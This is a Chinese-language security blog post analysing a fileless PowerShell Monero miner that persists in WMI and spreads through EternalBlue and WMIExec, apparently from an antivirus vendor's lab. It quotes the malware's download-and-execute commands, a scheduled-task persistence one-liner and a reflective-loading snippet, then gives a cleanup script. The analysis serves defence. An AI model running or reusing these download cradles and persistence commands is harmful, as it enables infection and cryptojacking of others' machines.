小心PowerShell抓你当“矿工”!

近日,金山毒霸安全实验室拦截到一个通过PowerShell脚本作为载体进行传播的挖矿病毒,其通过下拉多个脚本完成一次攻击行为,使用“永恒之蓝”漏洞、WMIExec渗透工具进行自动化传播,同时所有载荷均写入WMI进行无文件驻留,目前仍在活跃中。

前言

近日,金山毒霸安全实验室拦截到一个通过PowerShell脚本作为载体进行传播的挖矿病毒,其通过下拉多个脚本完成一次攻击行为,使用“永恒之蓝”漏洞、WMIExec渗透工具进行自动化传播,同时所有载荷均写入WMI进行无文件驻留。

该样本目前仍在活跃中,同时存在其他变种,详细分析见正文。

正文

母体脚本

如下为捕获到的样本,也是一个唯一落地的BAT脚本,功能上算一个较为常见的PowerShell联网下拉执行脚本。通过判断WMI的root\Subscription命名空间下是否存在名为SCM Event FilterConsumer,如果不存在则联网下拉info6.ps1脚本。

powershell "if(!(string).contains('SCM EventFilter')) 
{
    IEX(New-ObjectNet.WebClient).DownloadString('http://XXXXXXXX:8000/info6.ps1')
}"

提供病毒下载的服务器

image.png

其中,

  • info.vbs 携带挖矿程序的vbs脚本,自身会写入WMI
  • info3.ps1 携带x86平台挖矿、攻击脚本
  • info6.ps1 携带x64平台挖矿、攻击脚本

攻击演示图

image.png

info6.ps1主脚本

混淆严重

info6.ps1是一个混淆程度较高的powershell脚本,整体代码只有两行,但足有3.9M大小,真是”短小精悍”。image.png

image.png

通过对该脚本进行2次去混淆并进行整理,最终得到一个较为清晰的内容,下文是其执行过程及其相关模块的分析。

执行过程

1.初始化数据

通过对$fa进行分拆得到各个变量的数据,实际均经过base64编码。

image.png

这些数据会存储在ManagementClass中,而ManagementClass的管理类是WMI,实际最终存储在WMI 中,也即无文件

image.png

在取值的时候,则可以通过如下方式取出

 # 取出mimi模块
([WmiClass] 'root\default:Win32_TaskService').Properties['mimi']

2.判断x64

大多数机器是x64的,但也有部分x86用户,需要做兼容,实际功能代码与info6.ps1一样。

image.png

3. 解fun代码

由于fun中有WMIExec和MS17010的攻击包,还有一些是辅助功能函数,所以这里先引入,至于里面具体是什么请向下看。

image.png

4.释放运行时dll

这些dll是挖矿程序需要用到的,所以这里早点释放出来吧

image.png

5. 删除其他WMI

image.png

6. 写自己的WMI

其中FilterName与ConsumerName分别为SCM Event Filter,SCM Event Consumer,间隔5600s执行一次”本脚本”功能,通过powershell传入base64编码后的脚本内容。

image.png

image.png

7. 善后、开工!

由于母体bat脚本是由ms17010 shellcode写入temp路径下的,原始名称为y1.bat,并且通过写计划任务的形式启动,所以这里需要删掉这个计划任务以及清理掉这个bat脚本。之后看看哪些powershell进程访问了80端口,由于样本携带的挖矿程序均访问80端口,所以也以此判断是否启动了自己的挖矿程序,如果没访问那么就需要执行一次,当然为了保证工作环境的干净,需要干掉疑似挖矿的其他powershell进程,通过判断典型挖矿程序的的3333,5555端口访问。

image.png

8. 攻击、传播!

为了保证挖矿效率,需要抓一些”矿工”,由于不会给工资,所以没人愿意白干。这里需要请WMIExec和MS17010两位大哥出面协调。

image.png

通过枚举网段IP,进行攻击,由于给WMIExec 命令行参数传错,导致这个攻击彻底废了,那只好MS17010出马了,通过调用C#实现的[PingCastle.Scanners.ms17_010scanner]::SCAn接口,以及SMB_EtERNAlbLue函数进行攻击。

image.png

模块分析

继上文说到本样本使用了WMIExec和MS17010攻击包,那么这些东西是什么,又是怎么引入的?这也是本节要说明的。

WMIExec

代码来自Invoke-TheHash项目,一个基于.Net TCPClient,通过把NTLM hash传递给NTLMv2身份验证协议来进行身份验证的工具,执行时不需要本地管理员权限,传送门

image.png

样本作者封装了一个test-ip函数,其参数2,4是通过mimikatz抓取的本地用户hash,参数1,3分别是目标ip和回连web服务器。WMIExec执行的功能是通过写一个VBS Download,下拉执行一个VBS脚本,同时下拉执行info6.ps1 (32位为info3.ps1)。

image.png

MS17010

虽然这个漏洞目前看来有点”过气”,但毕竟也是RCE啊!

作者分别引入了扫描和exp模块,扫描模块,通过Add-Type -TypeDefinition的方式引入源代码,这样会在powershell运行过程中调起C#编译器动态编译,抓取到的命令行如下

"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe"/t:library /utf8output /R:"System.dll" /R:"C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll"/out:"C:\Users[user]\AppData\Local\Temp\kr7amwim.dll" /D:DEBUG/debug+ /optimize- /warnaserror  "C:\Users[user]\AppData\Local\Temp\kr7amwim.0.cs"

exp模块,已封装很完整,暂未找到开源代码。image.png

shellcode,执行如下命令

cmd /c echo powershell "if(!(string).contains('SCMEvent Filter')) {IEX(New-ObjectNet.WebClient).DownloadString('http://XXXXXXXX/info6.ps1')}"  >%temp%\y1.bat && SCHTASKS  /create /RU System /SC WEEKLY /TNyastcat  /f /TR "%temp%\y1.bat"&&SCHTASKS  /run  /TN yastcat

攻击时截图如下,

image.png

执行方式

样本作者在PowerShell中携带的挖矿程序,会通过反射加载的方式进行启动,具体可以用如下代码模拟启动

$mon = get-content ".\mon" #dump出的mon
$funs = get-content ".\funs"  #dump出的funs
iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($funs)));Invoke-Command  -ScriptBlock $RemoteScriptBlock -ArgumentList@($mon, $mon, 'Void', 0, '', '')

(门罗毕)挖矿程序执行后,界面如下

image.png

info.vbs脚本

上文说了info6.ps1和其相关的辅助模块,同时提到一次WMIExec攻击成功之后,会下拉一个info.vbs脚本,但是由于传入参数问题,这个是不会被下拉的,这里简单分析下。vbs脚本依然存在混淆,通过提取、整理,如下,先将编码后的另一个挖矿程序写入到WMI中保存起来,使用的时候通过调用WriteBinary函数导出

image.png

之后取出来,释放执行,开始挖矿image.png

InstallUpdateableT完成写一个WMI事件过滤器,间隔2h启动一次,功能当然是取挖矿程序,释放执行,这里不再赘述。image.png

检测&清除

  1. 通过代码分析,本样本实际传播途径主要为ms17010,所以提醒各位还是要及时安装补丁。
  2. 检测&清除PowerShell脚本代码如下,请尝试以管理员权限运行(请谨慎使用下列代码,在自身不确定的情况下也可安装金山毒霸进行检测)

    Write-host "[*] BadBee! Check&Clear!"
    $find = $false
    $mimi = $null
    $zlib = $null
    if (([string](Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding )).contains('SCM Event Filter'))
    {
        $mimi = ([WmiClass] 'root\default:Win32_TaskService').Properties['mimi']
        $zlib = ([WmiClass] 'root\default:Win32_TaskService').Properties['zlib']
        if (($mimi -and $mimi.value[0] -eq 'T' -and $mimi.value[1] -eq 'V' -and $mimi.value[2] -eq 'q') -or 
            ($zlib -and $zlib.value[0] -eq 'T' -and $zlib.value[1] -eq 'V' -and $zlib.value[2] -eq 'q'))
        {
            Write-host "[*]Find BadBee!"
            $find = $true   
        }
    }
    if ($find -eq $true)
    {
        Write-host "[+]C1ear  WMI in..."
        gEt-wmIObjeCt -Namespace root\Subscription -Class __EventFilter -filter "Name= 'SCM Event Filter'" |remOVe-wMiObjecT  -Verbose
        GeT-wmiOBjECT -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='SCM Event Consumer'" | Remove-WMiobjEct -Verbose
        GET-WMioBject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%SCM Event Consumer%'" | REmOVE-wmIOBjEcT -Verbose
        GeT-wmiOBjECT -Namespace root\Subscription -Class  ActiveScriptEventConsumer -Filter "Name='SCM Event Consumer'" | Remove-WMiobjEct -Verbose
        ([WmiClass]'root\default:Win32_TaskService') | REmOVE-wmIOBjEcT -Verbose
        Write-host "[+]C1ear  WMI out..."
    }
    else
    {
        Write-host "[-]C0ngratulation nothing to find ..."
    }
    Write-host "[*]all done ..."
    

    3.金山毒霸可进行查杀防御

image.png

总结

  1. 通过对本样本的分析,可以知道样本自身使用了很多开源代码,实际由病毒作者编写的代码量很小,极大降低了制作难度,这也是现有非PE攻击的一个普遍特性。
  2. 目前来看,非PE攻击已经有白热化趋势,随着js、vbs脚本逐渐被杀软“围堵”,以PowerShell为载体的新一轮攻击已经开始,由于PowerShell的特殊性,现有依靠“白名单策略”构建的防护体系存在“坍塌”的风险,针对PowerShell的防御,将成为一个新的安全研究方向。
  3. 截止完稿,样本已经挖了13个门罗币了,市值6000多元。

参考

[1] https://github.com/mattifestation/WMI_Backdoor/blob/master/Black_Hat_2015_Presentation/us15-Graeber-AbusingWindowsManagementInstrumentation.pdf
[2] http://drops.xmd5.com/static/drops/tips-8189.html

发表评论

已有 4 条评论

取消
Loading...
css.php